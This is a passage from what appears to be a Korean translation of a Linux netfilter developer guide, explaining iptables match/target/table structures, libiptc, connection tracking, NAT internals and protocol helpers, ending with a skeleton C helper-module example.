match 함수의 포인터를 저장하는 필드로, skb, 입/출력 장치의 포인터(훅에 따라 둘 중 하나는 NULL이 될 수도 있다), 동작시킬 룰에 해당하는 match 데이터의 포인터, IP 오프셋(non-zero는 non-head 프래그먼트를 의미), 프로토콜 헤더에 대한 포인터(과거의 IP header), 데이터의 길이(패킷 길이에서 IP 헤더의 길이를 뺀 크기) 그리고 `hotdrop' 변수에 대한 포인터를 취하게 된다. 패킷이 일치하면 non-zero를 돌려야 주어야 하고, 0을 돌려주는 경우 `hotdrop'은 1로 설정할 수 있으며 이는 패킷을 바로 버렸다는 것을 알리기 위한 것이다.


checkentry


룰에 대한 세부명세를 확인하는 함수의 포인터를 저장한다. 등록된 함수가 0을 돌려주는 경우, 현재의 룰은 사용자로부터 받아들여지지 않을 것이다. 예를 들면, ``tcp'' match 타입은 오직 tcp 패킷만 받아들일 것이고, 따라서 룰의 `struct ipt_ip' 부분에 프로토콜은 반드시 tcp이어야 한다고 명시되어 있지 않는 한 0이 리턴 될 것이다. tablename 인자는 사용자의 match가 어떤 테이블을 사용할 수 있는지를 허가하고, `hook_mask'는 사용자의 룰이 호출될 수 있는 훅에 대한 비트매스크이다. 만일 여러분의 match가 넷필터의 일부 훅에 대하여 아무런 의미가 없다면, 그 match를 이 위치에서 없앨 수 있다.


destroy


현재의 match가 삭제될 경우 호출되는 함수의 포인터를 저장하며, 사용자로 하여금 checkentry에서 동적으로 리소스를 재배치하고 또 이를 없앨 수 있도록 한다.


me


`THIS_MODULE'로 설정되며, 이는 여러분의 모듈에 대한 포인터를 돌려준다. 어떤 타입의 규칙이 생성되거나 소멸되는 경우 usage-count를 증가 혹은 감소시킨다. 어떤 규칙이 이 것을 참조하고 있음에도 불구하고 사용자가 모듈을 제거하고자 하는 경우, 사용자가 모듈을 제거하지 못하도록 한다.







1.2.1.2. 새로운 Targets

여러분의 타깃이 패킷(헤더나 바디)을 변경시킨다면, 패킷이 복제되는 시점에서 패킷을 복사하기 위하여 skb_unshare()를 호출해야만 한다. 그렇지 않으면 skbuff에 복제된 패킷이 있는 어떠한 raw socket이라도 변경된 사항을 알아차리게 된다.


새로운 target은 통상적으로 단독 모듈로 작성된다. `New Match Functions'의 절에서 언급한 바와 동일한 내용이 여기서도 적용된다.


여러분의 새로운 target의 핵심은 ipt_register_target()으로 전달되는 struct ipt_target으로, 이 구조체는 다음과 같은 필드를 갖고 있다.



list


임의의 값으로 설정되는 필드이다. 즉 `{ NULL, NULL }'


name


사용자 공간에서 참조되는 target 함수의 이름을 저장하는 필드이다. 자동 로딩 기능이 동작하기 위해서 함수의 이름은 모듈의 이름과 일치하여야 한다. 예를 들면, 함수이름이 ``REJECT''인 경우, 모듈이름은 반드시 ``ipt_REJECT.o''이어야 한다.


target


target 함수의 포인터를 저장하는 필드로, skbuff, 훅 넘버, 입/출력 장치의 포인터(훅에 따라 둘 중 하나는 NULL이 될 수도 있다), target 데이터의 포인터, 테이블에 있는 룰의 위치를 값으로 갖게 된다. 패킷이 계속 진행해야 한다면 target 함수는 IPT_CONTINUE(-1)을 돌려주고, 그렇지 않은 경우는 NF_DROP, NF_ACCEPT, NF_STOLEN등을 돌려주어 패킷의 운명을 결정하게 된다.


checkentry


룰에 대한 세부명세를 확인하는 함수의 포인터를 저장한다. 등록된 함수가 0을 돌려주는 경우, 현재의 룰은 사용자로부터 받아들여지지 않을 것이다.


destroy


현재의 target이 사용중인 entry가 삭제될 경우 호출되는 함수의 포인터를 저장하며, 사용자로 하여금 checkentry에서 동적으로 리소스를 재배치하고 또 이를 없앨 수 있도록 한다.


me


`THIS_MODULE'로 설정되며, 이는 여러분의 모듈에 대한 포인터를 돌려준다. 어떤 타입의 규칙이 생성되거나 소멸되는 경우 usage-count를 증가 혹은 감소시킨다. 어떤 규칙이 이 것을 참조하고 있음에도 불구하고 사용자가 모듈을 제거하고자 하는 경우, 사용자가 모듈을 제거하지 못하도록 한다.







1.2.1.3. 새로운 Tables

여러분들의 목적에 맞는 새로운 table을 작성할 수 있으며, 이를 위해서는 `ipt_register_table()'함수를 호출해야한다. 이 함수는 전달인자로 `struct ipt_table'을 받으며 그 구조는 다음과 같다.



list


임의의 값으로 설정되는 필드이다. 즉 `{ NULL, NULL }'


name


사용자 공간에서 참조되는 table 함수의 이름을 저장하는 필드이다. 자동 로딩 기능이 동작하기 위해서 함수의 이름은 모듈의 이름과 일치하여야 한다. 예를 들면, 함수이름이 ``nat''인 경우, 모듈이름은 반드시 ``ipt_nat.o''이어야 한다.


table


`struct ipt_replace'로 가득 찬 필드로, 테이블을 교체하기 위하여 사용자 공간에서 사용된다. `counters' 포인터는 NULL로 설정되어야 한다. 이 구조체는 `__initdata'로 선언되기 때문에 부팅 후에는 초기화된다.


valid_hooks


테이블로 진입하고자 하는 IPv4 넷필터 훅의 비트매스크이다. 진입엔트리가 유효한지 확인하고, ipt_match와 ipt_target의 `checkentry()'함수에 대해 사용 가능한 훅을 계산하기 위해 사용한다.


lock


전체 테이블에 대하여 읽고 쓰기가 가능한 spinlock이며, RW_LOCK_UNLOCKED로 초기화 된다.


private


ip_tables 코드에 의해 내부적으로 사용된다.







1.2.2. 사용자공간 도구(Userpace Tool)


이제 여러분들이 직접 커널 모듈을 작성했고, 사용자 공간에서 이에 대한 옵션을 조정하기를 원할 것이다. 필자는 각각 확장된 버전에 대하여 새로이 파생된 버전을 만드는 것보다는 아주 최신의 90년대 기술을 사용한다. 즉 furbies이다. 쐬리... 공유라이브러리를 말하는 것이다.


새로운 테이블을 사용하고자 하는 경우 iptables를 확장할 필요는 없고, `-t' 옵션만 주면 된다.


공유라이브러리는 `_init()'함수를 포함해야하며, 이 함수는 모듈이 로딩 되는 시점에서 자동으로 호출된다. 여러분이 작성한 공유라이브러리가 새로운 match나 새로운 target을 포함하느냐에 따라 _init()함수가 `register_match()'나 `register_target()'함수를 호출한다.


공유라이브러리를 제공해야할 필요도 있으며, 구조체의 일부를 초기화하거나 추가 옵션을 제공하는 데 공유라이브러리를 사용할 수도 있기 때문이다. 필자는 공유라이브러리가 아무것도 안 할지라도 공유라이브러리는 라이브러리가 없을 때 발생하는 문제를 줄일 수 있기 때문에 반드시 공유라이브러리를 사용하기를 주장한다.


`iptables.h' 헤더에 유용한 함수들이 정의되어 있으며, 그중 다음과 같은 것들이 상당히 유용하다.



chech_inverse()


전달인자가 `!'인지 검사하고, 맞으면 `invert' 플랙이 설정되고, 그렇지 않으면, `invert' 플랙을 설정한다. true가 리턴된 경우 예제에서 보인 바와 같이 optiond를 증가시켜야한다.


string_to_number()


스트링을 주어진 범위 내의 숫자로 변환한다. 형식이 잘 못 되었거나 범위를 벗어나면, -1이 리턴된다. `string_to_number'는 `strtol'을 사용한다. 다시 말하면, 선행문자열 ``0x''는 16진수라는 것을 의미하고, ``0''은 8진수라는 것을 의미하게 된다.


exit_error()


에러가 검출된 경우 호출되는 함수이다. 일반적으로 첫 번째 인수는 `PARAMETER_PROBLEM'이며, 사용자가 커맨드 라인을 정확하기 사용하지 않았다는 것을 의미한다.







1.2.2.1. 새로운 Match 함수

여러분들이 작성한 공유라이브러리의 _init() 함수는 `register_match()'에 정적 구조체인 `struct iptables_match'에 대한 포인터를 넘겨준다. 이 구조체는 다음과 같은 필드를 포함한다.



next


match의 링크드 리스트를 만들기 위해 사용되는 포인터로, 초기에는 NULL로 설정된다.


name


match 함수의 이름으로, 라이브러리의 이름과 일치해야한다.(즉, `libipt_tcp.so'에 대해서는 ``tcp''와 같이...)


version


일반적으로 NETFILTER_VERSION 매크로로 설정되며, iptables 바이너리파일이 실수로 엉뚱한 공유라이브러리를 선택하지 않도록 하기 위하여 사용된다.


size


현재 사용하는 match에 대한 match 데이터의 크기로, 정확하게 정렬하기 위해서는 IPT_ALIGN() 매크로를 사용하여야 한다.


userpacesize


일부 match에 대해, 커널은 일부 필드를 내부적으로 변경한다. `limit' target이 좋은 예이다. 이는 단순한 `memcmp()'함수로는 두개의 룰을 비교하기에는 부족하다는 것을 의미한다. 만일 이러한 경우가 발생하면 구조체의 시작점에서 변경되지 않는 모든 필드를 위치시키고, 변경되지 않은 필드의 크기를 여기에 집어넣게 된다. 그러나 일반적인 경우, 이 필드는 `size'필드와 동일한 값을 갖는다.


help


옵션의 사용법을 화면에 출력한다.


init


ipt_entry_match 구조체에 존재하는 별도의 공간(만일 존재한다면)을 초기화하는 데 사용할 수 있고, 어떠한 nfcache 비트도 1로 설정한다. `linux/include/netfilter_ipv4.h'의 내용을 이용하여 표현할 수 없는 어떤 것을 검사하고있다면, 간단히 NFC_UNKNOWN 비트와 OR를 취하면 된다. 이 함수는 `parse()'보다 먼저 호출되어야 한다.


parse


커맨드 라인에 알 수 없는 옵션이 주어진 경우 호출되며, 여러분이 작성한 라이브러리에 주어진 옵션이 존재하는 경우 non-zero를 리턴 한다. `!'이 이미 나타난 경우는 `invert'가 TRUE로 설정된다. `flags' 포인터는 여러분들이 작성한 라이브러리의 배타적 사용을 위한 것이며, 특별히 명시된 옵션의 비트매스크를 저장하기 위하여 사용한다. 여러분들은 ncfcache 필드를 확실히 조정할 수 있도록 해야하며, 필요한 경우에는 `ipt_entry_match' 구조체의 크기를 확장할 수 있어야 한다. 다만 그 크기는 반드시 IPT_ALIGN 매크로를 거쳐서 전달되어야 한다.


final_check


커맨드 라인이 파싱된 후 호출되는 함수이며, 여러분의 라이브러리를 위해 예약된 `flags' 정수를 다루게 된다. 이를 이용하면 어떤 강제적인 옵션이 명시되었는 지 확인할 수 있다. 이러한 경우가 발생하면 `exit_error()'을 호출해야 한다.


print


어떤 룰에 대하여 부가적인 match 정보를 출력하기 위해 chain listing 코드에서 사용하는 함수이다. 사용자가 `-n' 플랙을 명시한 경우 numeric flag이 설정된다.


extra_opts


여러분의 라이브러리가 제공하는 부가 옵션의 null-terminated 리스트이다. 이 옵션은 현재 사용 중인 옵션에 더해져서 getopt_long으로 전달된다. 보다 자세한 것은 man 페이지를 보는 것이 좋을 것이다. getopt_long에 대한 리턴 값은 여러분이 작성한 `parse()' 함수에 대한 첫 번째 인자가 된다.

iptables에 의해 내부적으로 사용하기 위한 이 구조체의 마지막 부분에 부가적인 필드가 존재하지만 그 값을 설정할 필요는 없다.





1.2.2.2. 새로운 Targets

여러분의 공유라이브러리의 _init() 함수는 `register_target()' 함수로 정적으로 선언된 `struct iptables_target'에 대한 포인터를 전달하며, 이는 앞서 언급한 iptables_match 구조체와 유사한 필드를 포함한다.






1.2.3. `libiptc' 사용하기


libiptc는 iptable 제어 라이브러리로 iptable 커널 모듈에서 룰을 나열하고 처리하기 위하여 설계되었다. 이 라이브러리가 현재 사용되고 있는 곳은 iptables 프로그램뿐이지만, 다른 툴을 개발하는 곳에도 쉽게 사용할 수 있다. 이 함수를 사용하기 위해서는 루트 권한이 필요하다.


이 함수가 제공하는 표준 target은 ACCEPT, DROP, QUEUE, RETURN, 그리고 JUMP이다. ACCEPT, DROP, QUEUE는 NF_ACCEPT, NF_DROP과 NF_QUEUE로 번역되고, RETURN은 ip_tables가 처리하는 특별한 IPT_RETURN 값으로, JUMP는 chain name으로부터 table내의 실제 오프셋으로 번역된다.


`iptc_init()' 함수가 호출되면, counter를 포함한 테이블이 읽혀지고, 이 테이블은 `iptc_insert_entry()', `iptc_replace_entry()', `iptc_append_entry()', `iptc_delete_entry()', `iptc_delete_num_entry()', `iptc_flush_entries()', `iptc_zero_entries()', `iptc_create_chain()', `iptc_delete_chain()' 그리고 `iptc_set_policy()' 함수에 의해 처리된다.


`iptc_commit()' 함수가 호출되기 전까지는 테이블의 변화가 기록되지 않는다. 따라서, 라이브러리를 사용하는 두 명의 유저가 동일한 chain을 조작하고자 하기 위해 레이스(race)를 하는 경우가 발생할 수 있으며, 이를 막기 위해서는 locking을 사용해야 하지만, 현재는 구현되어 있지 않다.


하지만, counters에 대해서는 레이스(race)가 발생하지 않으며, 이는 tables의 읽기와 쓰기 중에 발생하는 counters의 증가가 새로운 table에 나타나는 방식을 이용하여 counter가 커널에서 기록되기 때문이다.


여기에는 다음과 같은 다양한 helper 함수가 있다.



iptc_first_chain()


table 내의 첫 번째 chain의 이름을 리턴 한다.


iptc_next_chain()


table 내의 다음 chain의 이름을 리턴하며, NULL은 더 이상 chain이 없다는 것을 의미한다.


iptc_builtin()


주어진 chain name이 builtin chain name이면 TRUE를 리턴 한다.


iptc_first_rule()


주어진 chain name내의 첫 번째 룰의 포인터를 리턴하며, NULL인 경우는 chain이 비었다는 것을 뜻한다.


iptc_next_rule()


chain내의 다음 룰에 대한 포인터를 리턴하며, NULL인 경우는 chain의 끝이라는 것을 알려준다.


iptc_get_target()


주어진 룰의 target을 가져온다. 확장된 target이라면, 그에 해당하는 target의 name을 돌려준다. 다른 chain으로의 jump인 경우는 그 chain의 이름을 돌려준다. 또 결정(DROP 같은)인 경우, 그 name을 돌려준다. accounting-style rule처럼 target이 없는 경우는 null string을 돌려준다.


이 함수가 표준 결정(판정)에 대하여 보다 확장된 해석을 제공하기 때문에, ipt_entry 구조체의 `verdict' 필드의 값을 직접 사용하는 대신에 이 함수를 사용하는 것이다.


iptc_get_policy()


builtin chain의 정책을 가져오고, 그 정책에 대한 적중 통계치를 `counters' 인자에 채운다.


iptc_strerror()


iptc 라이브러리내의 failure code에 대하여 보다 의미 있는 해석을 리턴 한다. 어떤 함수가 에러를 발생한 경우, 항상 errno가 설정되며, 이 값은 iptc_strerror() 함수로 전달되어 에러 메시지로 변환된다.







1.3. NAT의 이해


이제 커널의 NAT(Network Address Translation)까지 오셨군요. 여기서 제공되는 하부구조는 효율보다는 완벽성에 중점을 두고 설계된 것이며, 향후 개조를 통해 효율성이 현저하게 증가될지도 모릅니다. 현재 저는 이 넘이 동작한다는 것만으로도 행복합니다.


NAT는 패킷을 전혀 처리하지 않는 connection tracking과 NAT 코드 자체로 분리되었다. connection tracking 역시 iptables 모듈에서 사용하기 위해 설계되었으며, 따라서 NAT가 관심을 두지 않는 상태(state)에 대해서 미묘한 차이를 보이게 된다.






1.3.1. 연결 추적


연결추적(connection tracking)은 우선 순위가 높은 NF_IP_LOCAL_OUT과 NF_IP_PRE_ROUTING 훅으로 훅킹 되며, 이는 패킷이 시스템으로 진입하기 전 그 패킷을 살펴보기 위함이다.


skb에 있는 nfct 필드는 struct ip_conntrack의 내부에 대한 포인터이며, 배열 infos[] 중 한 곳에 존재한다. 즉, 이 배열내의 어떤 요소를 가리키게 함으로써 skb의 상태를 말할 수 있다. 다시 말해, 이 포인터는 state structure와 그 상태에 대한 skb의 관계 모두를 알려주게 된다.


`nfct' 필드를 추출하는 최선의 방법은 `ip_conntrack_get()'을 호출하는 것으로, `nfct' 필트가 세트되어 있으며 connection 포인터를 돌려주고 그렇지 않은 경우는 NULL을 돌려주며, 현재의 연결에 대한 패킷의 관계를 표현하는 ctinfo을 채운다. `nfct'의 값들은 수치화(enumerate)되어 있으며, 다음과 같은 값을 갖는다.



IP_CT_ESTABLISHED


원래 방향에 대하여 established connection의 일부인 패킷이다.


IP_CT_RELATED


connection에 관련된 패킷으로, 원래의 방향으로 전달되고 있다.


IP_CT_NEW


새로운 connection을 생성하고자 하는 패킷이다.(분명히, 원래 진행방향에 존재한다)


IP_CT_ESTABLISHED + IP_CT_IS_REPLY


established connection에 관련된 패킷으로, 응답방향(reply direction)으로 향하고 있다.


IP_CT_RELATED + IP_CT_IS_REPLY


connection에 관련된 패킷으로, 응답방향(reply direction)으로 향하고 있다.

즉, 응답패킷(reply packet)은 nfct를 검사하여 그 값이 IP_CT_IS_REPLY 보다 크거나 같은 값인 가로 확인할 수 있다.





1.4. Connection Tracking/NAT 확장하기


이 방식은 여러 가지 프로토콜과 서로 다른 맵핑 타입을 조절하기 위하여 설계된 것으로, 맵핑 타입 중 일부는 부하분산(load-balancing)이나 fail-over 맵팽 타입처럼 상당히 구체적인 것도 있다.


내부적으로는, connection tracking은 일치하는 룰이나 binding을 검색하기 전에 패킷을 ``tuple''로 변환시킨다. 여기서 ``tuple''이란 패킷 중 관심의 대상이 되는 부분을 말한다. ``tuple''은 처리 가능한 부분과 그렇지 못한 부분으로 구분되며, 각각 ``src''와 ``dst''라고 한다. 이는 Source NAT의 입장에서 첫 번째 패킷에 대한 관점이다. 동일한 방향에 있어 동일한 패킷 스트림의 각 패킷에 대한 tuple은 모두 동일하다.


예를 들어보면, TCP 패킷의 tuple은 처리 가능한 부분을 포함하는 데 이는 source IP와 source PORT이며, 처리 불가능한 부분은 목적지 IP와 목적지 port이다. 처리 가능한 부분과 그렇지 못한 부분은 반드시 같은 타입이어야 할 필요는 없다. 다시 말하면 ICMP 패킷의 tuple은 source IP와 ICMP port 같은 처리 가능한 부분을 포함하며, 처리 불가능한 부분은 목적지 IP와 ICMP 타입과 코드이다.


각각의 패킷은 inverse를 가지고 있으며, 이는 스트림에 있어서 응답패킷의 tuple이다. 이를테면, icmp id가 12345이고 192.168.1.1에서 1.2.3.4로 가는 ICMP ping 패킷의 inverse는 icmp id 12345이고 1.2.3.4에서 192.168.1.1이 된다.


`struct ip_conntrack_tuple'로 표현되는 tuple은 널리 사용되며, 실제로 패킷이 들어오는 훅과 디바이스를 포함하여 패킷에 대한 완전한 정보를 제공한다.


대부분의 tuple은 `struct ip_conntrack_tuple_hash'에 포함되며, 더블링크드 리스트와 tuple이 포함된 connection에 대한 포인터를 추가한다.


connection은 `struct ip_conntrack'에 의해 표현되며, 이 구조체는 `struct ip_conntrack_tuple_hash'필드를 두개 포함한다. 하나는 원본 패킷에 대한 방향(tuplehash[IP_CT_DIR_ORIGINAL])이며, 다른 하나는 응답방향에 대한 패킷(tuplehash[IP_CT_DIR_REPLY])에 대한 것이다.


아무튼, NAT 코드가 하는 첫 번째 일은 skbuff의 nfct 필드를 참조하여 connection tracking 코드로 tuple을 추출할 수 있는 지 확인하고 이미 존재하는 connection을 찾는 것이다. 이것이 의미하는 바는 현재 connection이 새로이 시도된 것인지 아닌지, 그리고 어떤 방향인지를 알려 주는 것이다. 여기서 후자인 경우, 그러니까 이미 연결이 된 상태라면, 이전에 결정된 처리방법이 적용된다.


새로운 connection이 시작되면, 표준 iptable 진행 메커니즘을 이용하여 tuple에 대한 룰을 `nat' table에서 검색한다. 이 때 룰이 일치하는 경우, 보통의 경우 진행방향과 응답방향 모두에 대하여 처리를 초기화한다. 즉, 기대하고 있는 응답이 변경되어 버렸다는 것을 connection-tracking 코드가 알 수 있게 된다. 그리고 나서 앞서 언급한 바와 같이 처리된다.


만일 적용할 룰이 없는 경우 `null' 바인딩이 생성된다. 이 바인딩이 패킷과 맵핑되지 않지만, 기존의 다른 스트림과 맵핑되지 않도록 주의해야 한다. 어떤 경우는 null 바인딩이 생성될 수 없는 경우도 발생하며 이 경우는 null 바인딩을 기존의 스트림으로 이미 맵핑을 해버렸기 때문이다. 이러한 경우는 정상적인 `null' 바인딩이라 하더라도 per-protocol으로 이를 새로 맵핑해야 할 것이다.






1.4.1. 표준 NAT Targets


NAT target은 'nat' 테이블 내에서만 사용한다는 것만 제외하면, 여타의 iptables target extension과 상당히 유사하다. SNAT와 DNAT 모두 부가 데이터로서 `struct ip_nat_multi_range'를 취하고, 이 데이터는 맵핑으로 바인딩 하는 주소의 범위를 명시하게 된다. 범위 요소인 `struct ip_nat_range'는 최소/최대 IP와 최대/최소 프로토콜 값(예:TCP 포트)으로 구성된다. 플랙을 위한 공간도 있으며, 어떤 플랙은 IP주소가 맵팽될 수 있는 지 없는지 알려주고, 어떤 것은 범위의 protocol-specific 부분이 유효한지 알려주는 역할을 한다.


다중 범위는 `struct ip_nat_range'의 배열이며, 범위를 ``1.1.1.1-1.1.1.2 ports 50-55 AND 1.1.1.3 port 80''과 같이 설정할 수 있다는 것을 의미한다.






1.4.2. 새로운 Protocols



1.4.2.1. 커널 내부

새로운 프로토콜을 구현한다는 것은 tuple의 처리가능 부분과 그렇지 못한 부분을 결정하는 것이다. tuple에 포함된 모든 것은 스트림을 구별할 수 있는 특성을 가지고 있다. tuple의 처리가능부분은 NAT를 적용할 수 있는 부분으로 TCP인 경우는 소스 포트가 되며, ICMP인 경우는 icmp ID가 된다. 즉, 스트림 구별자로 사용할 수 있다는 말이다. 처리 불가능한 부분은 패킷의 나머지 부분으로 스트림을 구별할 수 있지만, 이것을 마음대로 처리할 수 없다. (예: TCP 목적지 포트, ICMP 타입)


한가지가 결정되었으면, connection tracking 코드를 작성할 수 있고, `ip_conntrack_register_protocol()'로 전달하기 위하여 `ip_conntrack_protocol' 구조체를 다루어야 할 것이다.


`struct ip_conntrack_protocol'의 필드는 다음과 같다.



list


{ NULL, NULL }로 설정한다. 리스트를 확보한다.


proto


프로토콜 번호이며 자세한 것은 `/etc/protocols'를 참조하기 바란다.


name


사용자가 보게 될 프로토콜 명칭이다. `/etc/protocols'에 있는 명칭을 사용하는 것이 제일 좋을 것이다.


pkt_to_tuple


주어진 패킷에 대한 tuple의 프로토콜 상세부분을 채우는 함수이다. `datah'라는 포인터는 IP 헤더의 시작부분을 가리키며, datalen은 패킷을 길이이다. 패킷이 헤더 정보를 저장하기에 충분히 길지 않으면, 0을 돌려준다. datalen은 최소 8바이트이다.


invert_tuple


tuple의 프로토콜 상세부분을 단순히 패킷에 대한 응답으로 변경하는 데 사용한다.


print_tuple


tuple의 프로토콜 상세부분을 출력하는 데 사용하는 함수로, sprintf() 함수를 이용한다. 사용된 버터 캐릭터의 수가 리턴된다. /proc 엔트리에 대한 상태를 출력하기 위해 사용하기도 한다.


print_conntrack


conntrack 구조체의 공개되지 않은 부분을 출력하는 데 사용하는 함수로, 간혹 /proc에 있는 상태를 출력하기 위해 사용하기도 한다.


packet


established connection의 일부를 보고자 할 때 호출하는 함수이다. conntrack 구조체, IP 헤더, 길이 그리고 ctinfo에 대한 포인터를 얻게 된다. 패킷에 대한 판결로 통상 NF_ACCEPT를 돌려주며, connection이 유효하지 않은 패킷에 대해서는 -1을 돌려준다. 원한다면 이 함수 내부에서 connection을 제거할 수도 있지만, 레이스(race)를 방지하기 위해서는 다음과 같은 방법을 사용해야만 한다.





if (del_timer(&ct->timeout))
ct->timeout.function((unsigned long)ct);


new


패킷이 최초로 연결을 맺을 때 호출되는 함수로, ctinfo 인자는 없다. 그 이유는 최초의 패킷은 정의에 의해 ctinfo IP_CT_NEW이기 때문이다. 연결을 맺는데 실패하면 0을 돌려주고, 성공한 경우는 순간적으로 connection timeout을 돌려준다.



코드를 작성하고 새로운 프로토콜에 대한 추적을 테스트 했으면, 이제는 NAT에게 이러한 것을 어떻게 해석할 것인지를 알려주어야 한다. 다시 말하면 새로운 모듈을 작성해야 한다는 것이다. 즉, NAT 코드에 대한 확장 및 `ip_nat_protocol_register()'로 전달하고자 하는 `ip_nat_protocol' 구조체를 사용하는 것이다.



list


{ NULL, NULL }로 설정한다. 리스트를 확보한다.


name


사용자가 보게 될 프로토콜 명칭이다. 사용자 공간에 자동으로 로딩 되기 위해서는 `/etc/protocols'에 있는 명칭을 사용하는 것이 제일 좋다.


protonum


프로토콜 번호이며 자세한 것은 `/etc/protocols'를 참조하기 바란다.


manip_pkt


connection tracking의 pkt_to_tuple 함수의 다른 반쪽으로, ``tuple_to_pkt''라고 생각해도 무방하다. 약간 다르게 고려해야 할 점은 다음과 같다. IP 헤더의 시작위치에 대한 포인터와 전체 패킷의 길이를 얻는다는 점으로, 일부 프로토콜(UDP, TCP)이 IP 헤더를 알아야 할 필요가 있기 때문이다. 패킷 전체가 아닌 tuple(즉, ``src'' 필드)로부터 ip_nat_tuple_manip 필드와 수행하고자 하는 처리에 대한 타입을 받아오게 된다.


in_range


주어진 패킷의 처리 가능한 부분이 주어진 범위에 속해있는 지를 알려주는 함수이다. bit tricky 함수로, tuple에 적용할 처리 타입(manipulation type)을 돌려주며, 범위를 어떻게 해석할 것인 가, 즉 처리하고자 하는 것이 소스 범위인지 목적지 범위인가 하는 가를 알려준다.


기존의 맵핑이 올바른 범위에 속해 있는 지 확인하는 데 사용되며, 또한 전혀 처리할 필요가 없는 지 확인하는 데 사용한다.


unique_tuple


NAT의 핵심이 되는 함수이다. tuple과 범위가 주어지면, tuple의 per-protocol 부분을 이 범위에 속하는 tuple로 변경하고, 이 것을 유일하게(unique) 만들어버린다. 주어진 범위에서 사용하지 않는 tuple을 찾아내지 못한 경우 0을 리턴 한다. 또한 ip_nat_used_tuple()에 필요한 conntrack 구조체의 포인터를 얻어낸다.


통상의 방법은 tuple에 대하여 `ip_nat_used_tuple()'을 확인하면서 false가 리턴 될 때까지 범위에서 tuple의 per-protocol 부분을 반복한다.


null-mapping인 경우는 이미 확인이 된 것으로, 주어진 범위 밖에 있거나, 이미 취해진 경우이다.


IP_NAT_RANGE_PROTO_SPECIFIED가 설정되어 있지 않으면, 사용자가 NAPT가 아니라 NAT를 수행하고 있는 것을 의미한다. 즉, 범위 내에서 무엇인가를 한다는 것이다. 맵핑이 필요하지 않다면, 0을 돌려준다.


print


문자버퍼와 범위가 주어진 경우, 그 범위의 per-protocol 부분을 출력하고, 사용된 버퍼의 길이를 돌려준다. IP_NAT_RANGE_PROTO_SPECIFIED 플랙이 주어진 범위에 대해 설정되어 있지 않으면 호출되지 않는다.







1.4.3. 새로운 NAT Targets


매우 흥미로운 부분으로, 새로운 맵핑 타입을 제공하는 새로운 NAT target을 여러분들이 작성할 수 있다. 기본 패키지에는 추가 target은 MASQUERADE와 REDIRECT으로 새로운 NAT target을 작성하기에 충분하리 만큼 쉽게 설명되어 있다.


위의 두 target은 다른 iptables target처럼 작성되어 있지만, 내부적으로는 connection을 추출하고 `ip_nat_setup_info()'를 호출한다.






1.4.4. 프로토콜 도우미(protocol helper)


connection tracking에 대한 protocol helper는 connection code가 다중 네트웍 connection을 사용하는 프로토콜을 알아차리고 초기 연결에 관련된 `child' connection을 표시할 수 있도록 하며, 일반적으로 이와 같은 과정은 data stream 외부의 관련된 주소를 읽음으로써 수행된다.


NAT에 대한 protocol helper는 다음과 같은 두 가지 작업을 수행한다. 첫 째로는 NAT 코드가 데이터 스트림을 포함하는 주소를 변경하도록 데이터 스트림을 처리할 수 있도록 한다. 두 번째로는 데이터 스트림이 들어올 때 그와 연관된 connection에 대하여 원래의 connection을 기초로 하여 NAT를 수행한다.






1.4.5. 연결 추적 도우미 모듈(Connection Tracking Helper Modules)



1.4.5.1. 설명

connection tracking 모듈의 임무는 어떤 패킷이 이미 이루어진 connection에 속해 있는 지를 명시하는 것으로, 다음과 같은 일을 한다.



  • 우리 모듈이 어떤 패킷에 관심을 가지고 있는 가를 netfilter에게 알려준다.(대부분의 helper는 특정한 포트에 대해 작업을 한다.)



  • netfilter에 함수를 등록한다. 앞서 언급한 범주에 속하는 모든 패킷에 대하여 등록된 함수가 호출된다.



  • 등록된 곳으로부터 호출되는 `ip_conntrack_expect_related()' 함수는 netfilter에게 연관된 connection을 예측할 수 있도록 알려준다.







1.4.5.2. 사용가능한 구조체와 함수

여러분들이 작성한 커널 모듈의 init 함수는 `struct ip_conntrack_helper'에 대한 포인터를 가지고 `ip_conntrack_helper_register()' 함수를 호출해야만 한다. 이 구조체는 다음과 같은 필드를 가지고 있다.



list


링크드 리스트에 대한 헤더로, 넷필터가 내부적으로 다루는 리스트이다. `{ NULL, NULL}'로 초기화시킨다.


tuple


`struct ip_conntrack_tuple'로, 우리가 작성한 conntrack helper 모듈이 관심을 갖는 패킷을 명시한 것이다.


mask


역시 `struct ip_conntrack_tuple'이며, tuple의 어느 비트가 유효한지를 명시하고 있는 매스크이다.


help


tuple+mask에 부합하는 각 패킷에 대하여 넷필터가 호출해야하는 함수이다.







1.4.6. conntrack 도우미 모듈의 예제






#define FOO_PORT	111
static int foo_nat_expected(struct sk_buff **pksb,
unsigned int hooknum,
struct ip_conntrack *ct,
struct ip_nat_info *info,
struct ip_conntrack *master,
struct ip_nat_info *masterinfo,
unsigned int *verdict)
/* called whenever a related packet (as specified in the connection tracking
module) arrives
params: pksb packet buffer
hooknum HOOK the call comes from (POST_ROUTING, PRE_ROUTING)
ct information about this (the related) connection
info &ct->nat.info
master information about the master connection
masterinfo &master->nat.info
verdict what to do with the packet if we return 1.
{
/* Check that this was from foo_expect, not ftp_expect, etc */
/* Then just change ip/port of the packet to the masqueraded
values (read from master->tuplehash), to map it the same way,
call ip_nat_setup_info, set *verdict, return 1. */
}
static int foo_help(struct ip_conntrack *ct,
struct ip_nat_info *info,
enum ip_conntrack_info ctinfo,
unsigned int hooknum,
struct sk_buff **pksb)
/* called for the packet causing related packets
params: ct information about tracked connection
info (STATE: related, new, established, ... )
hooknum HOOK the call comes from (POST_ROUTING, PRE_ROUTING)
pksb packet buffer
*/
{
/* extract information about future related packets (you can
share information with the connection tracking's foo_help).
Exchange address/port with masqueraded values, insert tuple
about related packets */
}
static struct ip_nat_expect foo_expect = {
{ NULL, NULL },
foo_nat_expected };
static struct ip_nat_helper hlpr;
static int __init(void)
{
int ret;
if ((ret = ip_nat_expect_register(&foo_expect)) == 0) {
memset(&hlpr, 0, sizeof(struct ip_nat_helper));
hlpr.list = { NULL, NULL };
hlpr.tuple.dst.protonum = IPPROTO_TCP;
hlpr.tuple.dst.u.tcp.port = htons(FOO_PORT);
hlpr.mask.dst.protonum = 0xFFFF;
hlpr.mask.dst.u.tcp.port = 0xFFFF;
hlpr.help = foo_help;
ret = ip_nat_helper_register(hlpr);
if (ret != 0)
ip_nat_expect_unregister(&foo_expect);
}
return ret;
}
static void __exit(void)
{
ip_nat_expect_unregister(&foo_expect);
ip_nat_helper_unregister(&hlpr);
}






1.4.7. NAT 도우미 모듈



1.4.7.1. 설명

